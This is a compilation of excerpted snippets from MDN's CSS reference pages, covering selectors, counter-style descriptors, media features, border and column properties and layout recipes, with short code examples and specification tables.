... javascript var context = document.getelementbyid('context'); var selected = context.queryselectorall(':scope > div'); document.getelementbyid('results').innerhtml = array.prototype.map.call(selected, function (element) { return '#' + element.getattribute('id'); }).join(', '); html <div id="context"> <div id="element-1"> <div id="element-1.1"></div> <div id="element-1.2"></div> </div> <div id="element-2"> <div id="element-2.1"></div> </div> </div> <p> selected elements ids : <span id="results"></span> </p> result specificati...
...ons specification status comment selectors level 4the definition of ':scope' in that specification.
pad - CSS: Cascading Style Sheets
the pad descriptor can be used with custom counter style definitions when you need the marker representations to have a minimum length.
...)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
...ntage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples padding a counter html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style pad-example { system: numeric; symbols: "0" "1" "2" "3" "4" "5"; pad: 2 "0"; } .list { list-style: pad-example; } result specifications specification status comment css counter styles level 3the definition of 'pad' in that specification.
... candidate recommendation initial definition ...
range - CSS: Cascading Style Sheets
description the value of the range descriptor can be either auto or a comma separated list of lower and upper bounds specified as integers.
... when range is specified as integers, the value infinite can be used to denote infinity.
...ten specifications specification status comment css counter styles level 3the definition of 'range' in that specification.
... candidate recommendation initial definition ...
@font-feature-values - CSS: Cascading Style Sheets
this can help simplify your css when using multiple fonts.
... formal syntax @font-feature-values <family-name># { <feature-value-block-list> }where <family-name> = <string> | <custom-ident>+<feature-value-block-list> = <feature-value-block>+where <feature-value-block> = <feature-type> '{' <feature-value-declaration-list> '}'where <feature-type> = @stylistic | @historical-forms | @styleset | @character-variant | @swash | @ornaments | @annotation<feature-value-declaration-list> = <feature-value-declaration>where <feature-value-declaration> = <custom-ident>: <integer>+; examples using @styleset in a @font-feature-values rule /* at-rule for "nice-style" in font one */ @font-feature-values font one { @styleset { nice-style: 12; } } /* at-rule for "nice-st...
...yle" in font two */ @font-feature-values font two { @styleset { nice-style: 4; } } … /* apply the at-rules with a single declaration */ .nice-look { font-variant-alternates: styleset(nice-style); } specifications specification status comment css fonts module level 4the definition of '@font-feature-values' in that specification.
...to change preferences in firefox, visit about:config.opera android no support nosafari ios full support 9.3samsung internet android no support no@historical-formschrome no support noedge no support nofirefox full support 34 full support 34 full support 24disabled disabled from version 24: this feature is behind the layout.css.fo...
any-pointer - CSS: Cascading Style Sheets
note: more than one value can match if the available devices have different characteristics, although none only matches when none of them are pointing devices.
...the big checkbox takes precedence because it is declared after the small one.
... input[type="checkbox"] { -moz-appearance: none; -webkit-appearance: none; appearance: none; width: 15px; height: 15px; border: 1px solid blue; } } @media (any-pointer: coarse) { input[type="checkbox"] { -moz-appearance: none; -webkit-appearance: none; appearance: none; width: 30px; height: 30px; border: 2px solid red; } } result specifications specification status comment media queries level 4the definition of 'any-pointer' in that specification.
... candidate recommendation initial definition.
grid - CSS: Cascading Style Sheets
WebCSS@mediagrid
the grid css media feature can be used to test whether the output device uses a grid-based screen.
...neato!</p> css :not(.unknown) { color: lightgray; } @media (grid: 0) { .unknown { color: lightgray; } .bitmap { color: red; text-transform: uppercase; } } @media (grid: 1) { .unknown { color: lightgray; } .grid { color: black; text-transform: uppercase; } } result specifications specification status comment media queries level 4the definition of 'grid' in that specification.
... candidate recommendation no change.
... media queriesthe definition of 'grid' in that specification.
overflow-inline - CSS: Cascading Style Sheets
the overflow-inline css media feature can be used to test how the output device handles content that overflows the initial containing block along the inline axis.
... scroll content that overflows the inline axis can be seen by scrolling to it.
...sed nec augue congue eros accumsan tincidunt sed eget ex.</p> css p { white-space: nowrap; } @media (overflow-inline: scroll) { p { color: red; } } result specifications specification status comment media queries level 4the definition of 'overflow-inline' in that specification.
... candidate recommendation initial definition.
prefers-contrast - CSS: Cascading Style Sheets
syntax no-preference indicates that the user has made no preference known to the system.
... more indicates that user has notified the system that they prefer an interface that has a higher level of contrast.
... less indicates that user has notified the system that they prefer an interface that has a lower level of contrast.
... html <div class="contrast">low contrast box</div> css .contrast { width: 100px; height: 100px; outline: 2px dashed black; } @media (prefers-contrast: high) { .contrast { outline: 2px solid black; } } result specifications specification status comment media queries level 5the definition of 'prefers-contrast' in that specification.
prefers-reduced-data - CSS: Cascading Style Sheets
syntax no-preference indicates that the user has made no preference known to the system.
... reduce indicates that user has expressed the preference for lightweight alternate content.
... in this example the montserrat-regular.woff2 font file will neither be preloaded nor downloaded if the user prefers reduced data, in this case the "system font stack" will serve as the fallback font: html <head> <link rel="preload" href="fonts/montserrat-regular.woff2" as="font" media="(prefers-reduced-data: no-preference)" crossorigin> <link rel="stylesheet" href="style.css"> </head> css @media (prefers-reduced-data: no-preference) { @font-face { font-family: montserrat; font-style: normal; font-w...
...eight: 400; font-display: swap; /* latin */ src: local('montserrat regular'), local('montserrat-regular'), url('fonts/montserrat-regular.woff2') format('woff2'); unicode-range: u+0000-00ff, u+0131, u+0152-0153, u+02bb-02bc, u+02c6, u+02da, u+02dc, u+2000-206f, u+2074, u+20ac, u+2122, u+2191, u+2193, u+2212, u+2215, u+feff, u+fffd; } } body { font-family: montserrat, -apple-system, blinkmacsystemfont, "segoe ui", roboto, helvetica, arial, "microsoft yahei", sans-serif, "apple color emoji", "segoe ui emoji", "segoe ui symbol"; } result specifications specification status comment media queries level 5the definition of 'reduced-data' in that specification.
orientation - CSS: Cascading Style Sheets
/* keyword values */ orientation: auto; orientation: portrait; orientation: landscape; for a ua/device where the orientation is changed upon tilting the device, an author can use this descriptor to inhibit the orientation change.
... syntax values auto the user agent will set the document's orientation automatically, typically based on the device's orientation as determined by an accelerometer (if the device has such a hardware sensor), although there is often a user-controlled, os-level "lock orientation" setting that will trump the accelerometer reading.
... landscape the document should be locked into landscape orientation.
... formal definition related at-rule@viewportinitial valueautopercentagesrefer to the size of bounding boxcomputed valueas specified formal syntax auto | portrait | landscape examples setting viewport orientation @viewport { orientation: landscape; } specifications specification status comment css device adaptationthe definition of '"orientation" descriptor' in that specification.
Box alignment in Multi-column Layout - CSS: Cascading Style Sheets
the box alignment specification details how alignment works in various layout methods; on this page we explore how box alignment works in the context of multi-column layout.
... note: multi-column layout predates the box alignment specification.
... using a value of justify-content other than normal or stretch will cause column boxes to display at the column-width specified on the multicol container, and the remaining space distributed according to the value of justify-content.
... column-gap the column-gap property was specified in earlier versions of the multiple-column layout specification, and has now been unified with the gap properties for other layout methods in box alignment.
CSS Multi-column Layout - CSS: Cascading Style Sheets
therefore the properties now defined in the css fragmentation specification are required in order to control how content breaks between columns.
... reference multiple-column layout properties column-count column-fill column-gap column-rule column-rule-color column-rule-style column-rule-width column-span column-width columns related css fragmentation properties break-after break-before break-inside orphans widows guides basic concepts of multicol an overview of the multiple-column layout specification styling columns how to use column rules and manage the spacing between columns.
... content breaks in multicol introduction to the fragmentation specification and how to control where column content breaks.
... specifications specification status comment css multi-column layout module working draft initial definition ...
CSS Motion Path - CSS: Cascading Style Sheets
motion path is a css module that allows authors to animate any graphical object along a custom path.
...with offset-path you can define a specific path of any shape you want.
... you then animate it along that path by animating offset-distance, and can choose to rotate it at any point using offset-rotate.
... #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } reference properties offset offset-anchor offset-distance offset-path offset-position offset-rotate specifications specification status comment motion path module level 1 working draft initial definition.
Class selectors - CSS: Cascading Style Sheets
.red { color: #f33; } .yellow-bg { background: #ffa; } .fancy { font-weight: bold; text-shadow: 4px 4px 3px #77f; } html <p class="red">this paragraph has red text.</p> <p class="red yellow-bg">this paragraph has red text and a yellow background.</p> <p class="red fancy">this paragraph has red text and "fancy" styling.</p> <p>this is just a regular paragraph.</p> result specifications specification status comment selectors level 4the definition of 'class selectors' in that specification.
... working draft no changes selectors level 3the definition of 'class selectors' in that specification.
... recommendation css level 2 (revision 1)the definition of 'child selectors' in that specification.
... recommendation css level 1the definition of 'child selectors' in that specification.
Comments - CSS: Cascading Style Sheets
WebCSSComments
syntax comments can be placed wherever white space is allowed within a style sheet.
... they can be used on a single line, or traverse multiple lines.
...as with most programming languages that use the /* */ comment syntax, comments cannot be nested.
... specifications css 2.1 syntax and basic data types #comments ...
ID selectors - CSS: Cascading Style Sheets
/* the element with id="demo" */ #demo { border: red 2px solid; } syntax #id_value { style properties } note that syntactically (but not specificity-wise), this is equivalent to the following attribute selector: [id=id_value] { style properties } examples css #identified { background-color: skyblue; } html <div id="identified">this div has a special id on it!</div> <div>this is just a regular div.</div> result specifications specification status comment selectors level 4the definition of 'id selectors' in that specification.
... working draft selectors level 3the definition of 'id selectors' in that specification.
... recommendation css level 2 (revision 1)the definition of 'id selectors' in that specification.
... recommendation css level 1the definition of 'id selectors' in that specification.
Column layouts - CSS: Cascading Style Sheets
you can control the gaps between columns with the column-gap property, and add a rule between columns using column-rule.
... a single row of items with equal heights — flexbox flexbox can be used to break content into columns by setting flex-direction to row, however flexbox targets the elements inside the flex container and will place each direct child into a new column.
... download this example flexbox can also be used to create layouts where the flex items wrap onto new rows, by setting the flex-wrap property on the container to wrap.
...grid layout works on the direct children of the grid container in a similar way to the manner in which flexbox works on the direct children of the flex container, however with css grid you can line your items up in rows and columns — it is described as two-dimensional.
Grid wrapper - CSS: Cascading Style Sheets
for the central columns with a maximum width we can set a minimum value of 0 or greater and a maximum value that specifies the maximum size the column tracks will grow to.
... useful fallbacks or alternative methods when using this recipe at page level it can be useful to set a max-width along with left and right auto margins to center the content horizontally: .grid { max-width: 1200px; margin: 0 auto; // horizontally centers the container } /* remove the max-width and margins if the browser supports grid */ @supports (display: grid) { .grid { display: grid; /* other grid code goes here */ max-width: none; margin: 0; } } t...
...o “break out” a full-width item to the edge of the viewport you can then use this trick (courtesy of una kravets): .item { width: 100vw; margin-left: 50%; transform: translate3d(-50%, 0, 0); } this gives a good approximation of the layout, only without the benefit of being able to align items easily on an exact grid.
... accessibility concerns although grid enables us to position items anwhere (within reason), it is important when placing items using css grid that your underlying markup follows a logical order (see css grid layout and accessibility for more details).
Pagination - CSS: Cascading Style Sheets
this cookbook pattern demonstrates the navigation pattern used to display pagination, where the user can move between pages of content such as search results.
... requirements the pagination pattern typically displays items in a row.
... typically, the pagination component will be centered horizontally underneath the content.
...the <nav> element is designated a flex container in order that we can center the list inside using the justify-content property.
Pseudo-elements - CSS: Cascading Style Sheets
for example, ::first-line can be used to change the font of the first line of a paragraph.
...*/ p::first-line { color: blue; text-transform: uppercase; } note: in contrast to pseudo-elements, pseudo-classes can be used to style an element based on its state.
... syntax selector::pseudo-element { property: value; } you can use only one pseudo-element in a selector.
...pport of internet explorer 8.0 :pseudo-element 9.0 :pseudo-element ::pseudo-element firefox (gecko) 1.0 (1.0) :pseudo-element 1.0 (1.5) :pseudo-element ::pseudo-element opera 4.0 :pseudo-element 7.0 :pseudo-element ::pseudo-element safari (webkit) 1.0 (85) :pseudo-element ::pseudo-element specifications specification status comment css level 1 recommendation defined pseudo-classes and pseudo-elements.
Type selectors - CSS: Cascading Style Sheets
*/ a { color: red; } syntax element { style properties } examples css span { background-color: skyblue; } html <span>here's a span with some text.</span> <p>here's a p with some text.</p> <span>here's a span with more text.</span> result specifications specification status comment selectors level 4the definition of 'type (tag name) selector' in that specification.
... working draft no changes selectors level 3the definition of 'type selectors' in that specification.
... recommendation no changes css level 2 (revision 1)the definition of 'type selectors' in that specification.
... recommendation css level 1the definition of 'type selectors' in that specification.
Universal selectors - CSS: Cascading Style Sheets
examples css * [lang^=en] { color: green; } *.warning { color: red; } *#maincontent { border: 1px solid blue; } .floating { float: left } /* automatically clear the next sibling after a floating element */ .floating + * { clear: left; } html <p class="warning"> <span lang="en-us">a green span</span> in a red paragraph.
...</p> result specifications specification status comment selectors level 4the definition of 'universal selector' in that specification.
... working draft no changes selectors level 3the definition of 'universal selector' in that specification.
... recommendation defines behavior regarding namespaces and adds hint that omitting the selector is allowed within pseudo-elements css level 2 (revision 1)the definition of 'universal selector' in that specification.
<angle> - CSS: Cascading Style Sheets
WebCSSangle
for static properties of a given unit, any angle can be represented by various equivalent values.
... examples setting a clockwise right angle 90deg = 100grad = 0.25turn ≈ 1.5708rad setting a flat angle 180deg = 200grad = 0.5turn ≈ 3.1416rad setting a counterclockwise right angle -90deg = -100grad = -0.25turn ≈ -1.5708rad setting a null angle 0 = 0deg = 0grad = 0turn = 0rad specifications specification status comment css values and units module level 4the definition of '<angle>' in that specification.
... editor's draft css values and units module level 3the definition of '<angle>' in that specification.
... candidate recommendation initial definition.
animation-duration - CSS: Cascading Style Sheets
a value of 0s, which is the default value, indicates that no animation should occur.
... note: negative values are invalid, causing the declaration to be ignored.
... some early, prefixed, implementations may consider them as identical to 0s.
... specifications specification status comment css animationsthe definition of 'animation-duration' in that specification.
aspect-ratio - CSS: Cascading Style Sheets
the aspect-ratio css property sets a preferred aspect ratio for the box, which will be used in the calculation of auto sizes and some other layout functions.
...size calculations involving intrinsic aspect ratio always work with the content box dimensions.
...size calculations involving preferred aspect ratio work with the dimensions of the box specified by box-sizing.
... in firefox, the internal stylesheet rule looks like this: img, input[type="image"], video, embed, iframe, marquee, object, table { aspect-ratio: attr(width) / attr(height); } specifications specification status comment css box sizing module level 4the definition of 'aspect-ratio' in that specification.
background-blend-mode - CSS: Cascading Style Sheets
if the blending modes' and background images' list lengths are not equal, it will be repeated and/or truncated until lengths match.
...there can be several values, separated by commas.
...ound: url('https://mdn.mozillademos.org/files/8543/br.png'),url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: screen; } document.getelementbyid("select").onchange = function(event) { document.getelementbyid("div").style.backgroundblendmode = document.getelementbyid("select").selectedoptions[0].innerhtml; } console.log(document.getelementbyid('div')); specifications specification status comment compositing and blending level 1the definition of 'background-blend-mode' in that specification.
... candidate recommendation initial definition ...
background-position-x - CSS: Cascading Style Sheets
<length> the offset of the given background image's left vertical edge from the background position layer's left vertical edge.
...]#where <length-percentage> = <length> | <percentage> examples basic example the following example shows a simple background image implementation, with background-position-x and background-position-y used to define the image's horizontal and vertical positions separately.
... html <div></div> css div { width: 300px; height: 300px; background-color: skyblue; background-image: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png); background-repeat: no-repeat; background-position-x: center; background-position-y: bottom 10px; } result specifications specification status comment css backgrounds and borders module level 4the definition of 'background-position-x' in that specification.
... editor's draft initial specification of longhand sub-properties of background-position to match longstanding implementations.
<blend-mode> - CSS: Cascading Style Sheets
the effect preserves gray levels and can be used to colorize the foreground.
... <div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: luminosity; } description for each pixel among the layers to which it is applied, a blend mode takes the colors of the foreground and the background, perfoms a calculation on them, and returns a new color value.
...a.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center, linear-gradient(to bottom, blue, orange); } javascript const selectelem = document.queryselector('select'); const divelem = document.queryselector('div'); selectelem.addeventlistener('change', () => { divelem.style.backgroundblendmode = selectelem.value; }); result specifications specification status comment compositing and blending level 1the definition of '<blend-mode>' in that specification.
... candidate recommendation initial definition.
block-size - CSS: Cascading Style Sheets
the block-size css property defines the horizontal or vertical size of an element's block, depending on its writing mode.
... syntax /* <length> values */ block-size: 300px; block-size: 25em; /* <percentage> values */ block-size: 75%; /* keyword values */ block-size: max-content; block-size: min-content; block-size: fit-content(20em); block-size: auto; /* global values */ block-size: inherit; block-size: initial; block-size: unset; if the writing mode is vertically oriented, the value of block-size relates to the width of the element; otherwise, it relates to the height of the element.
... initial valueautoapplies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as width and heightanimation typea length, percentage or calc(); syntax values the block-size property takes the same values as the width and height properties.
... formal definition initial valueautoapplies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as width and heightanimation typea length, percentage or calc(); formal syntax <'width'> examples block size with vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; block-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'block-size' in that specification.
border-bottom-color - CSS: Cascading Style Sheets
it can also be set with the shorthand css properties border-color or border-bottom.
... note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-bottom-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-color' in that specification.
... candidate recommendation no significant changes, though the transparent keyword, now included in <color> which has been extended, has been formally removed.
... css level 2 (revision 1)the definition of 'border-bottom-color' in that specification.
border-bottom-style - CSS: Cascading Style Sheets
note: the specification doesn't define how borders of different styles connect in the corners.
...der-bottom-style example classes */ .b1 {border-bottom-style: none;} .b2 {border-bottom-style: hidden;} .b3 {border-bottom-style: dotted;} .b4 {border-bottom-style: dashed;} .b5 {border-bottom-style: solid;} .b6 {border-bottom-style: double;} .b7 {border-bottom-style: groove;} .b8 {border-bottom-style: ridge;} .b9 {border-bottom-style: inset;} .b10 {border-bottom-style: outset;} result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-style' in that specification.
... candidate recommendation no significant change.
... css level 2 (revision 1)the definition of 'border-bottom-style' in that specification.
border-image-repeat - CSS: Cascading Style Sheets
syntax /* keyword value */ border-image-repeat: stretch; border-image-repeat: repeat; border-image-repeat: round; border-image-repeat: space; /* vertical | horizontal */ border-image-repeat: round stretch; /* global values */ border-image-repeat: inherit; border-image-repeat: initial; border-image-repeat: unset; the border-image-repeat property may be specified using one or two values chosen from the list of values below.
...it also applies to ::first-letter.inheritednocomputed valueas specifiedanimation typediscrete formal syntax [ stretch | repeat | round | space ]{1,2} examples repeating border images css #bordered { width: 12rem; margin-bottom: 1rem; padding: 1rem; border: 40px solid; border-image: url("https://mdn.mozillademos.org/files/4127/border.png") 27; border-image-repeat: stretch; /* can be changed in the live sample */ } html <div id="bordered">you can try out various border repetition rules on me!</div> <select id="repetition"> <option value="stretch">stretch</option> <option value="repeat">repeat</option> <option value="round">round</option> <option value="space">space</option> <option value="stretch repeat">stretch repeat</option> <option value="space round"...
...>space round</option> </select> javascript var repetition = document.getelementbyid("repetition"); repetition.addeventlistener("change", function (evt) { document.getelementbyid("bordered").style.borderimagerepeat = evt.target.value; }); results specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-repeat' in that specification.
... candidate recommendation initial definition ...
border-image-source - CSS: Cascading Style Sheets
the border-image-slice property is used to divide the source image into regions, which are then dynamically applied to the final border image.
...)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
... specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-source' in that specification.
... candidate recommendation initial definition ...
border-inline-end - CSS: Cascading Style Sheets
the border-inline-end css property is a shorthand property for setting the individual logical inline-end border property values in a single place in the style sheet.
... constituent properties this property is a shorthand for the following css properties: border-inline-end-color border-inline-end-style border-inline-end-width syntax border-inline-end: 1px; border-inline-end: 2px dashed; border-inline-end: medium dashed blue; the physical border to which border-inline-end maps depends on the element's writing mode, directionality, and text orientation.
...r-top-style: as specifiedborder-inline-end-color: computed coloranimation typeas each of the properties of the shorthand:border-inline-end-color: a colorborder-inline-end-style: discreteborder-inline-end-width: a length formal syntax <'border-top-width'> | <'border-top-style'> | <'color'>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline-end: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end' in that specification.
border-inline-start - CSS: Cascading Style Sheets
the border-inline-start css property is a shorthand property for setting the individual logical inline-start border property values in a single place in the style sheet.
... constituent properties this property is a shorthand for the following css properties: border-inline-start-color border-inline-start-style border-inline-start-width syntax border-inline-start: 1px; border-inline-start: 2px dotted; border-inline-start: medium dashed green; the physical border to which border-inline-start maps depends on the element's writing mode, directionality, and text orientation.
...yle: as specifiedborder-inline-start-color: computed coloranimation typeas each of the properties of the shorthand:border-inline-start-color: a colorborder-inline-start-style: discreteborder-inline-start-width: a length formal syntax <'border-top-width'> | <'border-top-style'> | <'color'>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline-start: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start' in that specification.
border-left-style - CSS: Cascading Style Sheets
note: the specification doesn't define how borders of different styles connect in the corners.
...adding: 3px; } /* border-left-style example classes */ .b1 {border-left-style: none;} .b2 {border-left-style: hidden;} .b3 {border-left-style: dotted;} .b4 {border-left-style: dashed;} .b5 {border-left-style: solid;} .b6 {border-left-style: double;} .b7 {border-left-style: groove;} .b8 {border-left-style: ridge;} .b9 {border-left-style: inset;} .b10 {border-left-style: outset;} result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-left-style' in that specification.
... candidate recommendation no significant change.
... css level 2 (revision 1)the definition of 'border-left-style' in that specification.
border-right-style - CSS: Cascading Style Sheets
note: the specification doesn't define how borders of different styles connect in the corners.
...; } /* border-right-style example classes */ .b1 {border-right-style: none;} .b2 {border-right-style: hidden;} .b3 {border-right-style: dotted;} .b4 {border-right-style: dashed;} .b5 {border-right-style: solid;} .b6 {border-right-style: double;} .b7 {border-right-style: groove;} .b8 {border-right-style: ridge;} .b9 {border-right-style: inset;} .b10 {border-right-style: outset;} result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-right-style' in that specification.
... candidate recommendation no significant change.
... css level 2 (revision 1)the definition of 'border-right-style' in that specification.
border-top-style - CSS: Cascading Style Sheets
the specification doesn't define how borders of different styles connect in the corners.
...r, td { padding: 3px; } /* border-top-style example classes */ .b1 {border-top-style: none;} .b2 {border-top-style: hidden;} .b3 {border-top-style: dotted;} .b4 {border-top-style: dashed;} .b5 {border-top-style: solid;} .b6 {border-top-style: double;} .b7 {border-top-style: groove;} .b8 {border-top-style: ridge;} .b9 {border-top-style: inset;} .b10 {border-top-style: outset;} result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-style' in that specification.
... candidate recommendation no significant change.
... css level 2 (revision 1)the definition of 'border-top-style' in that specification.
box-pack - CSS: Cascading Style Sheets
WebCSSbox-pack
/* keyword values */ box-pack: start; box-pack: center; box-pack: end; box-pack: justify; /* global values */ box-pack: inherit; box-pack: initial; box-pack: unset; the direction of layout depends on the element's orientation: horizontal or vertical.
... notes the edge of the box designated the start for packing purposes depends on the box's orientation and direction: normal reverse horizontal left right vertical top bottom the edge opposite to the start is designated the end.
... start | center | end | justify examples div.example { border-style: solid; display: -moz-box; /* mozilla */ display: -webkit-box; /* webkit */ /* make this box taller than the children, so there is room for the box-pack */ height: 300px; /* make this box wide enough to show the contents are centered horizontally */ width: 300px; /* children should be oriented vertically */ -moz-box-orient: vertical; /* mozilla */ -webkit-box-orient: vertical; /* webkit */ /* align children to the horizontal center of this box */ -moz-box-align: center; /* mozilla */ -webkit-box-align: center; /* webkit */ /* pack children to the bottom of this box */ -moz-box-pack: end; /* mozilla */ -webkit-box-pack: end; /* webkit */ } div.example p {...
... /* make children narrower than their parent, so there is room for the box-align */ width: 200px; } <div class="example"> <p>i will be second from the bottom of div.example, centered horizontally.</p> <p>i will be on the bottom of div.example, centered horizontally.</p> </div> specifications not part of any standard.
color-adjust - CSS: Cascading Style Sheets
by default, the browser is allowed to make any adjustments to the element's appearance it determines to be necessary and prudent given the type and capabilities of the output device.
... exact the element's content has been specifically and carefully crafted to use colors, images, and styles in a thoughtful and/or important way, such that being altered by the browser might actually make things worse rather than better.
...not only can the user override the behavior, but each user agent is allowed to decide for itself how to handle color-adjust in any given situation.
... css .my-box { background-color: black; background-image: linear-gradient(rgba(0, 0, 180, 0.5), rgba(70, 140, 220, 0.5)); color: #900; width: 15rem; height: 6rem; text-align: center; font: 24px "helvetica", sans-serif; display: flex; align-items: center; justify-content: center; color-adjust: exact; } html <div class="my-box"> <p>need more contrast!</p> </div> result specifications specification status comment css color adjustment module level 1the definition of 'color-adjust' in that specification.
column-count - CSS: Cascading Style Sheets
if the column-width is also set to a non-auto value, it merely indicates the maximum allowed number of columns.
...</p> css .content-box { column-count: 3; } result specifications specification status comment css multi-column layout modulethe definition of 'column-count' in that specification.
... 12prefixed prefixed implemented with the vendor prefix: -webkit-firefox full support 52 full support 52 no support 1.5 — 74prefixed notes prefixed implemented with the vendor prefix: -moz-notes prior to version 37, multiple columns didn't work with display: table-caption elements.ie full support 10opera full support 11.1 full support 11.1 full support 15prefixed prefixed implemented with the vendor prefix: -webkit-safari full support 9 ...
...prefixed prefixed implemented with the vendor prefix: -webkit-firefox android full support 52 full support 52 full support 4prefixed notes prefixed implemented with the vendor prefix: -moz-notes prior to version 37, multiple columns didn't work with display: table-caption elements.opera android full support 11.1 full support 11.1 full support 14prefixed prefixed implemented with the vendor prefix: -webkit-safari ios full support 9 full support ...
column-gap (grid-column-gap) - CSS: Cascading Style Sheets
formal definition initial valuenormalapplies tomulti-column elements, flex containers, grid containersinheritednopercentagesrefer to corresponding dimension of the content areacomputed valueas specified, with <length>s made absolute, and normal computing to zero except on multi-column elementsanimation typea length, percentage or calc(); formal syntax normal | <length-percentage>where <length-percentage> = <length> | <percentage> examples flex layout html <div id="flexbox"> <div></div> <div></div> <div></div> </div> css #flexbox { display: flex; height: 100px; column-gap: 20px; } #flexbox > div { border: 1px solid green; background-color: lime; flex: auto; } result grid layout html <div id=...
...</p> css .content-box { column-count: 3; column-gap: 40px; } result specifications specification status comment css box alignment module level 3the definition of 'column-gap' in that specification.
... working draft applies to grid and flexbox css grid layoutthe definition of 'column-gap' in that specification.
... candidate recommendation specifies how this property affects grid layouts css multi-column layout modulethe definition of 'column-gap' in that specification.
Computed value - CSS: Cascading Style Sheets
it is calculated from the specified value by: handling the special values inherit, initial, unset, and revert.
... the computation needed to reach a property's computed value typically involves converting relative values (such as those in em units or percentages) to absolute values.
... specifications specification status comment css level 2 (revision 2)the definition of 'computed-value' in that specification.
... css level 2 (revision 1)the definition of 'computed value' in that specification.
counter-increment - CSS: Cascading Style Sheets
note: the counter's value can be reset to an arbitrary number using the counter-reset css property.
...this is used as the default value, or to cancel an increment in more specific rules.
...]+ | none examples incrementing named counters h1 { counter-increment: chapter section 2 page; /* increases the value of the chapter and page counters by 1, and the section counter by 2 */ } specifications specification status comment css lists module level 3the definition of 'counter-increment' in that specification.
... css level 2 (revision 1)the definition of 'counter-increment' in that specification.
counter-set - CSS: Cascading Style Sheets
note: the counter's value can be incremented or decremented using the counter-increment css property.
... syntax /* set "my-counter" to 0 */ counter-set: my-counter; /* set "my-counter" to -1 */ counter-set: my-counter -1; /* set "counter1" to 1, and "counter2" to 4 */ counter-set: counter1 1 counter2 4; /* cancel any counter that could have been set in less specific rules */ counter-set: none; /* global values */ counter-set: inherit; counter-set: initial; counter-set: unset; the counter-set property is specified as either one of the following: a <custom-ident> naming the counter, followed optionally by an <integer>.
...this can be used to override a counter-set defined in a less specific rule.
...]+ | none examples setting named counters h1 { counter-set: chapter section 1 page; /* sets the chapter and page counters to 0, and the section counter to 1 */ } specifications specification status comment css lists module level 3the definition of 'counter-set' in that specification.
<display-box> - CSS: Cascading Style Sheets
this will cause the element — and in some browser versions, its descendant elements — to no longer be announced by screen reading technology.
... this is incorrect behavior according to the csswg specification.
... html <div class="outer"> <div>inner div.</div> </div> css .outer { border: 2px solid red; width: 300px; display: contents; } .outer > div { border: 1px solid green; } result specifications specification status css display module level 3the definition of 'display-box' in that specification.
... candidate recommendation ...
<display-internal> - CSS: Cascading Style Sheets
some layout models such as table and ruby have a complex internal structure, with several different roles that their children and descendants can fill.
... table-caption these elements behave like <caption> html elements.
... html <main> <div> <label for="name">name</label> <input type="text" id="name" name="name"> </div> <div> <label for="age">age</label> <input type="text" id="age" name="age"> </div> </main> css main { display: table; } div { display: table-row; } label, input { display: table-cell; margin: 5px; } result specifications specification status css display module level 3the definition of 'display-internal' in that specification.
... candidate recommendation ...
flex-wrap - CSS: Cascading Style Sheets
WebCSSflex-wrap
the flex-wrap css property sets whether flex items are forced onto one line or can wrap onto multiple lines.
... values the following values are accepted: nowrap the flex items are laid out in a single line which may cause the flex container to overflow.
